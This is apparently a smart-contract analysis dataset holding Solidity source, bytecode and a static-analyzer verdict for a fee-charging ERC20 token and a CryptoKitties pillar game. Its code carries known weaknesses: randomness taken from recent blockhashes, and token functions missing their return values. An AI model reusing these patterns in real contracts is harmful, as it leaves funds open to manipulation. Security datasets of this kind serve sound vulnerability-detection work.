* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[_to] = balances[_to].add(sendAmount);
balances[owner] = balances[owner].add(fee);
balances[_from] = balances[_from].sub(_value);
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
Transfer(_from, _to, sendAmount);
Transfer(_from, owner, fee);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value);
function transferFromByLegacy(address sender, address from, address spender, uint value);
function approveByLegacy(address from, address spender, uint value);
}
/// @title - Uba Token Contract - uba.finance
contract UbaToken is Pausable, StandardToken {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function UbaToken(uint _initialSupply, string _name, string _symbol, uint _decimals){
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) whenNotPaused {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) whenNotPaused {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) constant returns (uint){
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() constant returns (uint){
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) onlyOwner {
if (_totalSupply + amount < _totalSupply) throw;
if (balances[owner] + amount < balances[owner]) throw;
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) onlyOwner {
if (_totalSupply < amount) throw;
if (balances[owner] < amount) throw;
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
if (newBasisPoints > 20) throw;
if (newMaxFee > 50) throw;
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x606060405236156101305763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101325780630753c30c146101c2578063095ea7b3146101e05780630e136b191461020157806318160ddd1461022557806323b872dd1461024757806326976e3f1461026e578063313ce5671461029a57806335390714146102bc5780633eaaf86b146102de5780633f4ba83a146103005780635c975abb1461032457806370a08231146103485780638456cb59146103765780638da5cb5b1461039a57806395d89b41146103c6578063a9059cbb14610456578063c0324c7714610477578063cc872b661461048f578063db006a75146104a4578063dd62ed3e146104b9578063dd644f72146104ed578063f2fde38b1461050f575bfe5b341561013a57fe5b61014261052d565b604080516020808252835181830152835191928392908301918501908083838215610188575b80518252602083111561018857601f199092019160209182019101610168565b505050905090810190601f1680156101b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ca57fe5b6101de600160a060020a03600435166105bb565b005b34156101e857fe5b6101de600160a060020a036004351660243561065a565b005b341561020957fe5b610211610717565b604080519115158252519081900360200190f35b341561022d57fe5b610235610727565b60408051918252519081900360200190f35b341561024f57fe5b6101de600160a060020a03600435811690602435166044356107c6565b005b341561027657fe5b61027e610897565b60408051600160a060020a039092168252519081900360200190f35b34156102a257fe5b6102356108a6565b60408051918252519081900360200190f35b34156102c457fe5b6102356108ac565b60408051918252519081900360200190f35b34156102e657fe5b6102356108b2565b60408051918252519081900360200190f35b341561030857fe5b6102116108b8565b604080519115158252519081900360200190f35b341561032c57fe5b61021161093c565b604080519115158252519081900360200190f35b341561035057fe5b610235600160a060020a036004351661094c565b60408051918252519081900360200190f35b341561037e57fe5b6102116109fe565b604080519115158252519081900360200190f35b34156103a257fe5b61027e610a87565b60408051600160a060020a039092168252519081900360200190f35b34156103ce57fe5b610142610a96565b604080516020808252835181830152835191928392908301918501908083838215610188575b80518252602083111561018857601f199092019160209182019101610168565b505050905090810190601f1680156101b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045e57fe5b6101de600160a060020a0360043516602435610b24565b005b341561047f57fe5b6101de600435602435610be7565b005b341561049757fe5b6101de600435610c87565b005b34156104ac57fe5b6101de600435610d3d565b005b34156104c157fe5b610235600160a060020a0360043581169060243516610df2565b60408051918252519081900360200190f35b34156104f557fe5b610235610eae565b60408051918252519081900360200190f35b341561051757fe5b6101de600160a060020a0360043516610eb4565b005b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105b35780601f10610588576101008083540402835291602001916105b3565b820191906000526020600020905b81548152906001019060200180831161059657829003601f168201915b505050505081565b60005433600160a060020a039081169116146105d75760006000fd5b6009805460a060020a74ff0000000000000000000000000000000000000000199091161773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831690811790915560408051918252517fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e916020908290030190a15b5b50565b6040604436101561066b5760006000fd5b60095460a060020a900460ff161561070557600954604080517faee92d33000000000000000000000000000000000000000000000000000000008152600160a060020a0333811660048301528681166024830152604482018690529151919092169163aee92d3391606480830192600092919082900301818387803b15156106ef57fe5b6102c65a03f115156106fd57fe5b50505061070f565b61070f8383610f0d565b5b5b5b505050565b60095460a060020a900460ff1681565b60095460009060a060020a900460ff16156107bd57600954604080516000602091820181905282517f18160ddd0000000000000000000000000000000000000000000000000000000081529251600160a060020a03909416936318160ddd9360048082019493918390030190829087803b15156107a057fe5b6102c65a03f115156107ae57fe5b50506040515191506107c29050565b506001545b5b90565b60005460a060020a900460ff16156107de5760006000fd5b60095460a060020a900460ff161561088057600954604080517f8b477adb000000000000000000000000000000000000000000000000000000008152600160a060020a033381166004830152868116602483015285811660448301526064820185905291519190921691638b477adb91608480830192600092919082900301818387803b15156106ef57fe5b6102c65a03f115156106fd57fe5b50505061070f565b61070f838383610fc0565b61070f565b5b5b505050565b600954600160a060020a031681565b60085481565b60045481565b60015481565b6000805433600160a060020a039081169116146108d55760006000fd5b60005460a060020a900460ff1615156108ee5760006000fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a15060015b5b5b90565b60005460a060020a900460ff1681565b60095460009060a060020a900460ff16156109ec57600954604080516000602091820181905282517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038781166004830152935193909416936370a08231936024808301949391928390030190829087803b15156109cf57fe5b6102c65a03f115156109dd57fe5b50506040515191506109f89050565b6109f5826111b4565b90505b5b919050565b6000805433600160a060020a03908116911614610a1b5760006000fd5b60005460a060020a900460ff1615610a335760006000fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a15060015b5b5b90565b600054600160a060020a031681565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105b35780601f10610588576101008083540402835291602001916105b3565b820191906000526020600020905b81548152906001019060200180831161059657829003601f168201915b505050505081565b60005460a060020a900460ff1615610b3c5760006000fd5b60095460a060020a900460ff1615610bd657600954604080517f6e18980a000000000000000000000000000000000000000000000000000000008152600160a060020a03338116600483015285811660248301526044820185905291519190921691636e18980a91606480830192600092919082900301818387803b1515610bc057fe5b6102c65a03f11515610bce57fe5b505050610be0565b610be082826111d3565b5b5b5b5050565b60005433600160a060020a03908116911614610c035760006000fd5b6014821115610c125760006000fd5b6032811115610c215760006000fd5b6003829055600854610c3d908290600a0a63ffffffff61134e16565b600481905560035460408051918252602082019290925281517fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e929181900390910190a15b5b5050565b60005433600160a060020a03908116911614610ca35760006000fd5b6001548181011015610cb55760006000fd5b60008054600160a060020a03168152600260205260409020548181011015610cdd5760006000fd5b60008054600160a060020a03168152600260209081526040918290208054840190556001805484019055815183815291517fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9281900390910190a15b5b50565b60005433600160a060020a03908116911614610d595760006000fd5b806001541015610d695760006000fd5b60008054600160a060020a031681526002602052604090205481901015610d905760006000fd5b60018054829003905560008054600160a060020a031681526002602090815260409182902080548490039055815183815291517f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a449281900390910190a15b5b50565b60095460009060a060020a900460ff1615610e9a57600954604080516000602091820181905282517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03888116600483015287811660248301529351939094169363dd62ed3e936044808301949391928390030190829087803b1515610e7d57fe5b6102c65a03f11515610e8b57fe5b5050604051519150610ea79050565b610ea4838361137d565b90505b5b92915050565b60035481565b60005433600160a060020a03908116911614610ed05760006000fd5b600160a060020a03811615610656576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b60406044361015610f1e5760006000fd5b8115801590610f515750600160a060020a0333811660009081526005602090815260408083209387168352929052205415155b15610f5c5760006000fd5b600160a060020a03338116600081815260056020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35b5b505050565b6000808060606064361015610fd55760006000fd5b600160a060020a0380881660009081526005602090815260408083203390941683529290522054600354909450611027906127109061101b90889063ffffffff61134e16565b9063ffffffff6113aa16565b92506004548311156110395760045492505b611049858463ffffffff6113c716565b600160a060020a038716600090815260026020526040902054909250611075908363ffffffff6113e016565b600160a060020a03808816600090815260026020526040808220939093558054909116815220546110ac908463ffffffff6113e016565b60008054600160a060020a03908116825260026020526040808320939093558916815220546110e1908663ffffffff6113c716565b600160a060020a03881660009081526002602052604090205560001984101561113c57611114848663ffffffff6113c716565b600160a060020a03808916600090815260056020908152604080832033909416835292905220555b85600160a060020a031687600160a060020a031660008051602061140e833981519152846040518082815260200191505060405180910390a3600054604080518581529051600160a060020a03928316928a169160008051602061140e833981519152919081900360200190a35b5b50505050505050565b600160a060020a0381166000908152600260205260409020545b919050565b600080604060443610156111e75760006000fd5b61120e61271061101b6003548761134e90919063ffffffff16565b9063ffffffff6113aa16565b92506004548311156112205760045492505b611230848463ffffffff6113c716565b600160a060020a03331660009081526002602052604090205490925061125c908563ffffffff6113c716565b600160a060020a033381166000908152600260205260408082209390935590871681522054611291908363ffffffff6113e016565b600160a060020a03808716600090815260026020526040808220939093558054909116815220546112c8908463ffffffff6113e016565b60008054600160a060020a03908116825260026020908152604092839020939093558151858152915188821693339092169260008051602061140e83398151915292908290030190a3600054604080518581529051600160a060020a039283169233169160008051602061140e833981519152919081900360200190a35b5b5050505050565b600082820261137284158061136d575083858381151561136a57fe5b04145b6113fc565b8091505b5092915050565b600160a060020a038083166000908152600560209081526040808320938516835292905220545b92915050565b6000600082848115156113b957fe5b0490508091505b5092915050565b60006113d5838311156113fc565b508082035b92915050565b6000828201611372848210156113fc565b8091505b5092915050565b8015156106565760006000fd5b5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058209d71e184edd0d3699310459cb61d87682933afd71cc2b713aa2fd1f82eb8ff4b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,087 |
0x9a982eee43a2f78869db9f8d3608f21602889e9f
|
pragma solidity ^0.4.21;
//**********************************************************************************
// KITTYPILLAR CONTRACT
//**********************************************************************************
contract KittyPillar {
using SafeMath for uint256;
address public owner; //owner of this contract
address public kittyCoreAddress; //address of kittyCore
KittyCoreInterface private kittyCore; //kittycore reference
//**********************************************************************************
// Events
//**********************************************************************************
event PlayerJoined
(
address playerAddr,
uint256 pId,
uint256 timeStamp
);
event KittyJoined
(
address ownerAddr,
uint256 kittyId,
uint8 pillarIdx,
uint256 contribution,
uint256 currentRound,
uint256 timeStamp
);
event RoundEnded
(
uint256 currentRId,
uint256 pillarWon,
uint256 timeStamp
);
event Withdrawal
(
address playerAddr,
uint256 pId,
uint256 amount,
uint256 timeStamp
);
//**********************************************************************************
// Modifiers
//**********************************************************************************
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
//**********************************************************************************
// Configs
//**********************************************************************************
uint256 public contributionTarget_ = 100; //round target contributions
bool public paused_ = false;
uint256 public joinFee_ = 10000000000000000; //0.01 ether
uint256 public totalDeveloperCut_ = 0;
uint256 public minPower_ = 3; //minimum power of kitty
uint256 public maxPower_ = 20; //maximum power of kitty
//**********************************************************************************
// Data
//**********************************************************************************
//***************************
// Round
//***************************
uint256 public currentRId_;
mapping (uint256 => KittyPillarDataSets.Round) public round_; // (rId => data) round data
//***************************
// Player
//***************************
uint256 private currentPId_;
mapping (address => uint256) public pIdByAddress_; // (address => pId) returns player id by address
mapping (uint8 => mapping (uint256 => KittyPillarDataSets.Pillar)) public pillarRounds_; // (pillarIdx => roundId -> Pillar) returns pillar's round information
mapping (uint256 => KittyPillarDataSets.Player) public players_; // (pId => player) returns player information
mapping (uint256 => mapping (uint256 => uint256[])) public playerRounds_; // (pId => roundId => uint256[]) returns player's round information
mapping (uint256 => mapping (uint256 => KittyPillarDataSets.KittyRound)) public kittyRounds_; // (kittyId => roundId => KittyRound) returns kitty's round information
//**********************************************************************************
// Functions
//**********************************************************************************
constructor(address _kittyCoreAddress) public {
owner = msg.sender; //init owner
kittyCoreAddress = _kittyCoreAddress;
kittyCore = KittyCoreInterface(kittyCoreAddress);
//start round
currentRId_ = 1;
round_[currentRId_].pot = 0;
round_[currentRId_].targetContributions = contributionTarget_;
round_[currentRId_].timeStarted = now;
round_[currentRId_].ended = false;
}
function getPillarRoundsKitties(uint8 _pillarIdx, uint256 _rId) external view returns (uint256[]) {
return pillarRounds_[_pillarIdx][_rId].kittyIds;
}
function getPlayerRoundsKitties(uint256 _pId, uint256 _rId) external view returns (uint256[]) {
return playerRounds_[_pId][_rId];
}
function joinPillarWithEarnings(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external {
require(!paused_, "game is paused");
require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here");
require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty");
uint256 _pId = pIdByAddress_[msg.sender];
require(_pId!=0, "not an existing player"); //needs to be an existing player
require(players_[_pId].totalEth >= joinFee_, "insufficient tokens in pouch for join fee");
require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round");
require(_rId == currentRId_, "round has ended, wait for next round");
players_[_pId].totalEth = players_[_pId].totalEth.sub(joinFee_); //deduct joinFee from winnings
joinPillarCore(_pId, _kittyId, _pillarIdx);
}
function joinPillar(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external payable {
require(!paused_, "game is paused");
require(msg.value == joinFee_, "incorrect join fee");
require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here");
require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty");
require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round");
require(_rId == currentRId_, "round has ended, wait for next round");
uint256 _pId = pIdByAddress_[msg.sender];
//add player if he/she doesn't exists in game
if (_pId == 0) {
currentPId_ = currentPId_.add(1);
pIdByAddress_[msg.sender] = currentPId_;
players_[currentPId_].ownerAddr = msg.sender;
_pId = currentPId_;
emit PlayerJoined
(
msg.sender,
_pId,
now
);
}
joinPillarCore(_pId, _kittyId, _pillarIdx);
}
function joinPillarCore(uint256 _pId, uint256 _kittyId, uint8 _pillarIdx) private {
//record kitty under player for this round
playerRounds_[_pId][currentRId_].push(_kittyId);
//calculate kitty's power
uint256 minPower = minPower_;
if (pillarRounds_[_pillarIdx][currentRId_].totalContributions<(round_[currentRId_].targetContributions/2)) { //pillar under half, check other pillars
uint8 i;
for (i=0; i<3; i++) {
if (i!=_pillarIdx) {
if (pillarRounds_[i][currentRId_].totalContributions >= (round_[currentRId_].targetContributions/2)) {
minPower = maxPower_/2; //minimum power increases, so to help the low pillar grow faster
break;
}
}
}
}
uint256 genes;
( , , , , , , , , , genes) = kittyCore.getKitty(_kittyId);
uint256 _contribution = ((getKittyPower(genes) % maxPower_) + minPower); //from min to max power
// add to kitty round
uint256 joinedTime = now;
kittyRounds_[_kittyId][currentRId_].pillar = _pillarIdx;
kittyRounds_[_kittyId][currentRId_].contribution = _contribution;
kittyRounds_[_kittyId][currentRId_].kittyOwnerPId = _pId;
kittyRounds_[_kittyId][currentRId_].timeStamp = joinedTime;
// update current round's info
pillarRounds_[_pillarIdx][currentRId_].totalContributions = pillarRounds_[_pillarIdx][currentRId_].totalContributions.add(_contribution);
pillarRounds_[_pillarIdx][currentRId_].kittyIds.push(_kittyId);
//update current round pot
totalDeveloperCut_ = totalDeveloperCut_.add((msg.value/100).mul(4)); //4% developer fee
round_[currentRId_].pot = round_[currentRId_].pot.add((msg.value/100).mul(96)); //update pot minus fee
emit KittyJoined
(
msg.sender,
_kittyId,
_pillarIdx,
_contribution,
currentRId_,
joinedTime
);
//if meet target contribution, end round
if (pillarRounds_[_pillarIdx][currentRId_].totalContributions >= round_[currentRId_].targetContributions) {
endRound(_pillarIdx);
}
}
function getKittyPower(uint256 kittyGene) private view returns(uint256) {
return (uint(keccak256(abi.encodePacked(kittyGene,
blockhash(block.number - 1),
blockhash(block.number - 2),
blockhash(block.number - 4),
blockhash(block.number - 7))
)));
}
function endRound(uint8 _wonPillarIdx) private {
//distribute pot
uint256 numWinners = pillarRounds_[_wonPillarIdx][currentRId_].kittyIds.length;
uint256 numFirstMovers = numWinners / 2; //half but rounded floor
//perform round up if required
if ((numFirstMovers * 2) < numWinners) {
numFirstMovers = numFirstMovers.add(1);
}
uint256 avgTokensPerWinner = round_[currentRId_].pot/numWinners;
//first half (round up) of the pillar kitties get 20% extra off the pot to reward the precision, strength and valor!
uint256 tokensPerFirstMovers = avgTokensPerWinner.add(avgTokensPerWinner.mul(2) / 10);
//the rest of the pot is divided by the rest of the followers
uint256 tokensPerFollowers = (round_[currentRId_].pot - (numFirstMovers.mul(tokensPerFirstMovers))) / (numWinners-numFirstMovers);
uint256 totalEthCount = 0;
for(uint256 i = 0; i < numWinners; i++) {
uint256 kittyId = pillarRounds_[_wonPillarIdx][currentRId_].kittyIds[i];
if (i < numFirstMovers) {
players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth = players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth.add(tokensPerFirstMovers);
totalEthCount = totalEthCount.add(tokensPerFirstMovers);
} else {
players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth = players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth.add(tokensPerFollowers);
totalEthCount = totalEthCount.add(tokensPerFollowers);
}
}
//set round param to end
round_[currentRId_].pillarWon = _wonPillarIdx;
round_[currentRId_].timeEnded = now;
round_[currentRId_].ended = true;
emit RoundEnded(
currentRId_,
_wonPillarIdx,
round_[currentRId_].timeEnded
);
//start next round
currentRId_ = currentRId_.add(1);
round_[currentRId_].pot = 0;
round_[currentRId_].targetContributions = contributionTarget_;
round_[currentRId_].timeStarted = now;
round_[currentRId_].ended = false;
}
function withdrawWinnings() external {
uint256 _pId = pIdByAddress_[msg.sender];
//player doesn't exists in game
require(_pId != 0, "player doesn't exist in game, don't disturb");
require(players_[_pId].totalEth > 0, "there is nothing to withdraw");
uint256 withdrawalSum = players_[_pId].totalEth;
players_[_pId].totalEth = 0; //all is gone from contract to user wallet
msg.sender.transfer(withdrawalSum); //byebye ether
emit Withdrawal
(
msg.sender,
_pId,
withdrawalSum,
now
);
}
//**********************************************************************************
// Admin Functions
//**********************************************************************************
function setJoinFee(uint256 _joinFee) external onlyOwner {
joinFee_ = _joinFee;
}
function setPlayConfigs(uint256 _contributionTarget, uint256 _maxPower, uint256 _minPower) external onlyOwner {
require(_minPower.mul(2) <= _maxPower, "min power cannot be more than half of max power");
contributionTarget_ = _contributionTarget;
maxPower_ = _maxPower;
minPower_ = _minPower;
}
function setKittyCoreAddress(address _kittyCoreAddress) external onlyOwner {
kittyCoreAddress = _kittyCoreAddress;
kittyCore = KittyCoreInterface(kittyCoreAddress);
}
/**
* @dev Current owner can transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
function setPaused(bool _paused) external onlyOwner {
paused_ = _paused;
}
function withdrawDeveloperCut() external onlyOwner {
address thisAddress = this;
uint256 balance = thisAddress.balance;
uint256 withdrawalSum = totalDeveloperCut_;
if (balance >= withdrawalSum) {
totalDeveloperCut_ = 0;
owner.transfer(withdrawalSum);
}
}
}
//**********************************************************************************
// STRUCTS
//**********************************************************************************
library KittyPillarDataSets {
struct Round {
uint256 pot; // total Eth in pot
uint256 targetContributions; // target contribution to end game
uint8 pillarWon; // idx of pillar which won this round
uint256 timeStarted; // time round started
uint256 timeEnded; // time round ended
bool ended; // has round ended
}
struct Pillar {
uint256 totalContributions;
uint256[] kittyIds;
}
struct Player {
address ownerAddr; // player address
uint256 totalEth; // total Eth won and not yet claimed
}
struct KittyRound {
uint8 pillar;
uint256 contribution;
uint256 kittyOwnerPId;
uint256 timeStamp;
}
}
//**********************************************************************************
// INTERFACES
//**********************************************************************************
//Cryptokitties interface
interface KittyCoreInterface {
function getKitty(uint _id) external returns (
bool isGestating,
bool isReady,
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes
);
function ownerOf(uint256 _tokenId) external view returns (address owner);
}
//**********************************************************************************
// LIBRARIES
//**********************************************************************************
/**
* @title SafeMath from OpenZeppelin
* @dev Math operations with safety checks that throw on error
* Changes:
* - changed asserts to require with error log
* - removed div
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}
|
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166313a7070f811461015857806316c38b3c1461016f57806324c33d331461018957806325a5e6e9146101d85780632c2ccdfb14610213578063339ba8601461024457806352357779146102775780636042fbe11461028c578063629919e9146102a157806378a7b804146102e65780637fde0c061461030757806385349e01146103255780638801b4fc1461033a5780638da5cb5b1461036357806393469800146103785780639480cd1a1461038d578063a254be21146103fb578063ac50905014610419578063bbeb592314610434578063c4818ae114610449578063cc42e83a1461045d578063ceeb706614610472578063e09874c01461048a578063f2ab59d9146104a8578063f2fde38b146104bd578063f77dff06146104de575b600080fd5b34801561016457600080fd5b5061016d6104ff565b005b34801561017b57600080fd5b5061016d6004351515610572565b34801561019557600080fd5b506101a160043561059c565b60408051968752602087019590955260ff9093168585015260608501919091526080840152151560a0830152519081900360c00190f35b3480156101e457600080fd5b506101f06004356105d6565b60408051600160a060020a03909316835260208301919091528051918290030190f35b34801561021f57600080fd5b506102286105fb565b60408051600160a060020a039092168252519081900360200190f35b34801561025057600080fd5b50610265600160a060020a036004351661060a565b60408051918252519081900360200190f35b34801561028357600080fd5b5061026561061c565b34801561029857600080fd5b50610265610622565b3480156102ad57600080fd5b506102bc600435602435610628565b6040805160ff90951685526020850193909352838301919091526060830152519081900360800190f35b3480156102f257600080fd5b5061016d600160a060020a036004351661065e565b34801561031357600080fd5b5061026560ff600435166024356106b1565b34801561033157600080fd5b506102656106ce565b34801561034657600080fd5b5061034f6106d4565b604080519115158252519081900360200190f35b34801561036f57600080fd5b506102286106dd565b34801561038457600080fd5b506102656106ec565b34801561039957600080fd5b506103ab60ff600435166024356106f2565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103e75781810151838201526020016103cf565b505050509050019250505060405180910390f35b34801561040757600080fd5b50610265600435602435604435610765565b34801561042557600080fd5b506103ab6004356024356107a2565b34801561044057600080fd5b5061026561080b565b61016d60043560ff60243516604435610811565b34801561046957600080fd5b5061016d610bfb565b34801561047e57600080fd5b5061016d600435610d81565b34801561049657600080fd5b5061016d600435602435604435610d9d565b3480156104b457600080fd5b50610265610e50565b3480156104c957600080fd5b5061016d600160a060020a0360043516610e56565b3480156104ea57600080fd5b5061016d60043560ff60243516604435610eb1565b6000805481908190600160a060020a0316331461051b57600080fd5b505060065430915081319080821061056d57600060068190558054604051600160a060020a039091169183156108fc02918491818181858888f1935050505015801561056b573d6000803e3d6000fd5b505b505050565b600054600160a060020a0316331461058957600080fd5b6004805460ff1916911515919091179055565b600a602052600090815260409020805460018201546002830154600384015460048501546005909501549394929360ff9283169391921686565b600e6020526000908152604090208054600190910154600160a060020a039091169082565b600154600160a060020a031681565b600c6020526000908152604090205481565b60095481565b60085481565b6010602090815260009283526040808420909152908252902080546001820154600283015460039093015460ff90921692909184565b600054600160a060020a0316331461067557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03938416179182905560028054929093169116179055565b600d60209081526000928352604080842090915290825290205481565b60065481565b60045460ff1681565b600054600160a060020a031681565b60075481565b60ff82166000908152600d6020908152604080832084845282529182902060010180548351818402810184019094528084526060939283018282801561075757602002820191906000526020600020905b815481526020019060010190808311610743575b505050505090505b92915050565b600f6020528260005260406000206020528160005260406000208181548110151561078c57fe5b9060005260206000200160009250925050505481565b6000828152600f602090815260408083208484528252918290208054835181840281018401909452808452606093928301828280156107575760200282019190600052602060002090815481526020019060010190808311610743575050505050905092915050565b60055481565b60045460009060ff161561086f576040805160e560020a62461bcd02815260206004820152600e60248201527f67616d6520697320706175736564000000000000000000000000000000000000604482015290519081900360640190fd5b60055434146108c8576040805160e560020a62461bcd02815260206004820152601260248201527f696e636f7272656374206a6f696e206665650000000000000000000000000000604482015290519081900360640190fd5b60008360ff16101580156108e0575060028360ff1611155b1515610936576040805160e560020a62461bcd02815260206004820152601c60248201527f7468657265206973206e6f20737563682070696c6c6172206865726500000000604482015290519081900360640190fd5b600254604080517f6352211e000000000000000000000000000000000000000000000000000000008152600481018790529051600160a060020a0390921691636352211e916024808201926020929091908290030181600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050506040513d60208110156109c757600080fd5b5051600160a060020a03163314610a28576040805160e560020a62461bcd02815260206004820152601960248201527f73656e646572206e6f74206f776e6572206f66206b6974747900000000000000604482015290519081900360640190fd5b6000848152601060209081526040808320600954845290915290206001015415610ac2576040805160e560020a62461bcd02815260206004820152602c60248201527f6b6974747920